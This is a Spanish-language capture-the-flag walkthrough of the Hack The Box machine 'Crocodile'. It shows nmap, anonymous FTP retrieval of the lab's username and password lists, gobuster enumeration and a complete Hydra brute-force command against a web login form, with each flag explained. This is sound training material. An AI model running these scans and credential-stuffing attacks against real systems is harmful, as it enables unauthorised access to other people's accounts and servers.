Crocodile
Dificultad: Very Easy - OS: Unix
Enumeración:
┌──(root㉿kali)-[/home/kali]
└─# nmap -sCV -p- --open -T4 -v -n 10.129.6.25
📌Parámetros
-sCV
:-sC
: Ejecuta scripts de detección predeterminados → Usa los scripts denmap
ubicados en/usr/share/nmap/scripts/
, los cuales buscan información adicional en los puertos abiertos.-sV
: Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.
-n
: No resuelve nombres de dominio (reduce el tiempo del escaneo).
--open
: Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.
-T4
: Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.
-v
: Modo verbose → Muestra más detalles sobre el progreso del escaneo.
Resultados:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.70
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 33 Jun 08 2021 allowed.userlist
|_-rw-r--r-- 1 ftp ftp 62 Apr 20 2021 allowed.userlist.passwd
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 1248E68909EAE600881B8DB1AD07F356
|_http-title: Smash - Bootstrap Business Template
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Unix
Si revisamos el resultado del análisis de nmap, el servidor FTP está configurado para permitir el inicio de sesión anónimo: ftp-anon: Anonymous FTP login allowed (FTP code 230)
por lo que el siguiente paso es ingresar con ese usuario y buscar recursos expuestos para descargarlos en nuestro equipo:
┌──(root㉿kali)-[/home/kali]
└─# ftp 10.129.6.25
Connected to 10.129.6.25.
220 (vsFTPd 3.0.3)
Name (10.129.6.25:kali): Anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||40391|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 33 Jun 08 2021 allowed.userlist
-rw-r--r-- 1 ftp ftp 62 Apr 20 2021 allowed.userlist.passwd
226 Directory send OK.
ftp> get allowed.userlist
local: allowed.userlist remote: allowed.userlist
229 Entering Extended Passive Mode (|||44125|)
150 Opening BINARY mode data connection for allowed.userlist (33 bytes).
100% |********************************| 33 306.91 KiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.20 KiB/s)
ftp> get allowed.userlist.passwd
local: allowed.userlist.passwd remote: allowed.userlist.passwd
229 Entering Extended Passive Mode (|||44430|)
150 Opening BINARY mode data connection for allowed.userlist.passwd (62 bytes).
100% |********************************| 62 388.12 KiB/s 00:00 ETA
226 Transfer complete.
62 bytes received in 00:00 (0.39 KiB/s)
ftp> exit
221 Goodbye.
Una vez que descargamos los recursos expuestos vamos a ver que se tratan de listas con usuarios y contraseñas:
┌──(root㉿kali)-[/home/kali]
└─# cat allowed.userlist
aron
pwnmeow
egotisticalsw
admin
┌──(root㉿kali)-[/home/kali]
└─# cat allowed.userlist.passwd
root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd
┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://10.129.6.25/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.6.25/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 276]
/.html (Status: 403) [Size: 276]
/index.html (Status: 200) [Size: 58565]
/login.php (Status: 200) [Size: 1577]
/assets (Status: 301) [Size: 311] [--> http://10.129.6.25/assets/]
/css (Status: 301) [Size: 308] [--> http://10.129.6.25/css/]
/js (Status: 301) [Size: 307] [--> http://10.129.6.25/js/]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/config.php (Status: 200) [Size: 0]
📌Desglose del comando
gobuster dir
→ Indica que se usará el modo "dir" de Gobuster, que sirve para enumerar directorios y archivos en un servidor web.
-u http://10.129.6.25/
→ Especifica la URL objetivo donde se realizará la enumeración.
-w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
→ Indica la wordlist a utilizar, en este caso, una lista de directorios y archivos comunes de DirBuster.
-x php,html
→ Especifica las extensiones de archivo a buscar. En este caso, buscará archivos con extensiones .php y .html.
De estos directorios el que nos interesa es el /login.php
que se ve de la siguiente forma:
Ahora tenemos dos formas de ingresar al panel de login: la manual y la automática. Para la primera opción solo debemos probar cada usuario de la lista users con cada contraseña de la lista passwords hasta que encontremos la combinación correcta que nos mostrará el siguiente dashboard:
Generamos una petición de login y lo interceptamos con Burpsuite
Request:
POST /login.php HTTP/1.1
Host: 10.129.1.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://10.129.1.15
Connection: keep-alive
Referer: http://10.129.1.15/login.php
Cookie: PHPSESSID=p90dfhmgi33hle7k195i2crj4s
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Username=pepe&Password=pepe&Submit=Login
De este código nos interesan las siguientes líneas: 2 y 17
Con la respuesta del responder podremos setear la segunda parte del comando de hydra
Response:
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2025 18:24:01 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1978
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<!-- HTML code for Bootstrap framework and form design -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
<link rel="stylesheet" type="text/css" href="css/signin.css">
<title>Sign in</title>
</head>
<body>
<div class="container">
<form action="" method="post" name="Login_Form" class="form-signin">
<h2 class="form-signin-heading">Please sign in</h2>
<label for="inputUsername" class="sr-only">Username</label>
<input name="Username" type="username" id="inputUsername" class="form-control" placeholder="Username" required autofocus>
<label for="inputPassword" class="sr-only">Password</label>
<input name="Password" type="password" id="inputPassword" class="form-control" placeholder="Password" required>
<div class="checkbox">
<label>
<input type="checkbox" value="remember-me"> Remember me
</label>
</div>
<button name="Submit" value="Login" class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>
<!-- Show an error alert -->
<div class="alert alert-danger alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
<strong>Warning!</strong> Incorrect information.
</div>
</form>
</div>
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<!-- Include all compiled plugins (below), or include individual files as needed -->
<script src="js/bootstrap.min.js"></script>
</body>
</html>
De este código nos interesan la linea 47
Con esta información el comando del hydra nos quedaría de la siguiente manera:
hydra -t 64 -L allowed.userlist -P allowed.userlist.passwd 10.129.1.15 -s 80 -f http-post-form "/login.php:Username=^USER^&Password=^PASS^&Submit=Login:F=Incorrect information."
📌Desglose del comando
-t 64
: Define el número de hilos (threads), en este caso, 64. Más hilos aumentan la velocidad, pero pueden sobrecargar el servidor
-L allowed.userlist
: Lista de nombres de usuario a probar. Cada línea del archivo contiene un usuario diferente.
-P allowed.userlist.passwd
: Lista de contraseñas a probar. Cada línea del archivo contiene una contraseña.
10.129.1.15
: IP del servidor objetivo.
-s 80
: Especifica el puerto (80 en este caso, HTTP por defecto)
-f
: Fuerza bruta hasta encontrar un par válido, luego detiene el ataque.
🔹 Protocolo y solicitud HTTP
http-post-form "/login.php:Username=^USER^&Password=^PASS^&Submit=Login:F=Incorrect information."
Este es el formato específico para un ataque de fuerza bruta en un formulario web de login.
📌 Estructura general de http-post-form
en Hydra:
http-post-form "RUTA:PARAMETROS:CONDICION_DE_ERROR_O_EXITO"
🔍 Parte por parte:
Ruta de la página de login:
/login.php
Página donde se envían los datos de autenticación.
Parámetros enviados en la petición POST:
Username=^USER^&Password=^PASS^&Submit=Login
^USER^
→ Será reemplazado por cada usuario del archivoallowed.userlist.txt
.^PASS^
→ Será reemplazado por cada contraseña del archivoallowed.userlist.passwd.txt
.
Condición de error o éxito:
F=Incorrect information.
F=
significa que si Hydra encuentra este texto en la respuesta, la autenticación falló.Si este texto no aparece, significa que el login fue exitoso
📌 ¿Por qué es importante incluir Submit=Login
?
En algunos formularios web, al hacer clic en el botón de login, se envía un campo adicional en la solicitud HTTP. En este caso, el campo es:
Submit=Login
Si el servidor espera este parámetro para procesar correctamente la autenticación, debemos incluirlo en el ataque de fuerza bruta con Hydra.
¿Qué es http-post-form
en Hydra?
http-post-form
en Hydra?En Hydra, http-post-form
es un módulo de ataque diseñado para hacer fuerza bruta en formularios web que usan el método POST para enviar credenciales de login.
📌 Función: Le indica a Hydra que el objetivo es un formulario web y que debe enviar las credenciales mediante una solicitud HTTP POST.
Last updated